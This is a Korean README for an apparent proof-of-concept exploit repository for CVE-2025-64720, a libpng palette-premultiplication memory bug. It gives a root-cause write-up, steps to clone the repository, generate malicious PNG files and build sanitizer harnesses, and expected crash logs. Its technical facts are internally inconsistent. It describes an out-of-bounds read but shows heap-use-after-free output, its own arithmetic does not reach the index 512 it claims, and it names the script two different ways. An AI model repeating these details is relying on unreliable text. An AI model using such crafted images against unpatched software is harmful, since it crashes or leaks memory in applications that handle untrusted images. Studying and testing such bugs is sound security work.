
CVE-2025-64720에 대한 개념 증명 익스플로잇입니다. 이는 libpng의 팔레트 프리멀티플리케이션에서 발생하는 버퍼 오버플로우 취약점입니다. 익스플로잇 생성기, ASan/UBSan을 포함한 테스트 하니스, 그리고 힙 사용 후 해제(heap-use-after-free) 취약점에 대한 상세 기술 분석을 포함합니다.
상태: 패치됨
심각도: 높음
CVE ID: CVE-2025-64720
발견 날짜: 2025-11-XX
공개 날짜: 2025-11-21
libpng의 png_image_read_composite 함수에서 PNG_FLAG_OPTIMIZE_ALPHA가 활성화된 팔레트 이미지를 처리할 때 범위를 벗어난 읽기 취약점이 존재합니다. png_init_read_transformations의 팔레트 합성 코드가 프리멀티플리케이션 중 배경 합성을 잘못 적용하여 단순화된 PNG API에 필요한 component ≤ alpha × 257 불변식을 위반하고 메모리 손상을 초래합니다.
png_init_read_transformations의 ~1336행에서 팔레트 확장 코드가 다음 작업을 수행합니다:
component += (255-alpha)*png_sRGB_table[outrow[c]];
이 계산은 component 값을 최대 16,776,960(0x1000800)까지 생성하며, 여기서 (component >> 15) == 512입니다. 이후 png_image_read_composite의 PNG_sRGB_FROM_LINEAR 매크로가 배열 범위를 벗어난 접근을 수행합니다:
png_sRGB_base[component>>15] // png_sRGB_base[512] 접근
png_sRGB_delta[component>>15] // png_sRGB_delta[512] 접근
// 두 배열 모두 인덱스 0-511만 있음 (크기 512)
문제 발생 조건:
PNG_FLAG_OPTIMIZE_ALPHA가 내부적으로 활성화됨pngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformations예상: component ≤ alpha × 257
(component >> 15) ≤ 511 보장 (배열 범위 내)
실제: component = 이전_값 + (255-alpha) × png_sRGB_table[RGB_값]
alpha=0, RGB=255인 경우: component가 예상 범위를 초과할 수 있음
결과: (component >> 15)가 512가 될 수 있음 (범위를 벗어난 접근)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
공격자는 특정 특성을 가진 악성 PNG 파일을 제작하여 이 취약점을 악용할 수 있습니다:
공격 전제 조건:
png_image_* 함수) 사용공격 단계:
PNG_FLAG_OPTIMIZE_ALPHA가 내부적으로 활성화됨공격 결과:
png_sRGB_base 또는 png_sRGB_delta에서 범위를 벗어난 읽기┌─────────────────┐
│ png_sRGB_base │ 배열 인덱스: 0-511 (512개 항목)
│ [512 entries] │ 유효 접근: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ 인덱스 512 ← component ≥ 0x1000000일 때 취약한 접근
├─────────────────┤
│ png_sRGB_delta │ 배열 인덱스: 0-511 (512개 항목)
│ [512 entries] │ 동일한 OOB 접근에 취약
├─────────────────┤
│ 인접 메모리 │ 잠재적 정보 노출
└─────────────────┘
오버플로우를 유발하는 계산:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
alpha=0, palette_RGB=255일 때:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (범위를 벗어남!)
필수 조건:
png_image_finish_read)PNG_FORMAT_ARGB, 플래그 포함 PNG_FORMAT_RGBA)선택적 요인:
PNG_FORMAT_FLAG_AFIRST 플래그가 있는 형식은 충돌 가능성 증가트리거되지 않는 조건:
PNG_FORMAT_RGBA (때로는 안전)# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)취약점을 트리거하는 악성 PNG 파일을 생성합니다.
사용법:
python3 generate_poc.py
출력:
exploit_v1.png - 8x8 이미지, 균일한 흰색 팔레트, 제로 알파exploit_v2.png - 8x8 이미지, 전략적인 팔레트 변형exploit_v3.png - 64x64 이미지, 반복 패턴이 있는 큰 이미지exploit_v4.png - 4x4 이미지, 모든 알파가 0인 최소 케이스옵션:
# 특정 변종 생성
generate_malicious_png('custom.png', variant=2)
# 변종:
# 1: 제로 알파와 최대 RGB 값 (신뢰성 높음)
# 2: 최대 오버플로우를 위해 설계된 전략적 팔레트
# 3: 반복 트리거 패턴이 있는 더 큰 이미지
# 4: 글로벌 버퍼 오버플로우를 대상으로 하는 최소 케이스
test.c)단순화된 API를 사용하여 PNG 파일을 처리하고 취약점을 입증합니다.
컴파일:
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
기능:
취약한 버전(libpng 1.6.36)에서:
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
패치된 버전(libpng >= 1.6.51)에서:
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
예상 출력:
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
예상 출력:
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
예상 결과 (취약 - libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
예상 결과 (패치됨 - libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
예상 출력 (취약):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash
(gdb) bt
# Shows backtrace with png_safe_execute at top
(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash
(lldb) bt
# Shows backtrace
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ 중요: 이 PoC는 교육 및 연구 목적으로만 제공됩니다.
이 코드는 다음 용도로 사용됩니다:
이 코드는 다음 용도로 사용되지 않습니다:
이 코드를 사용함으로써 다음에 동의하는 것으로 간주됩니다: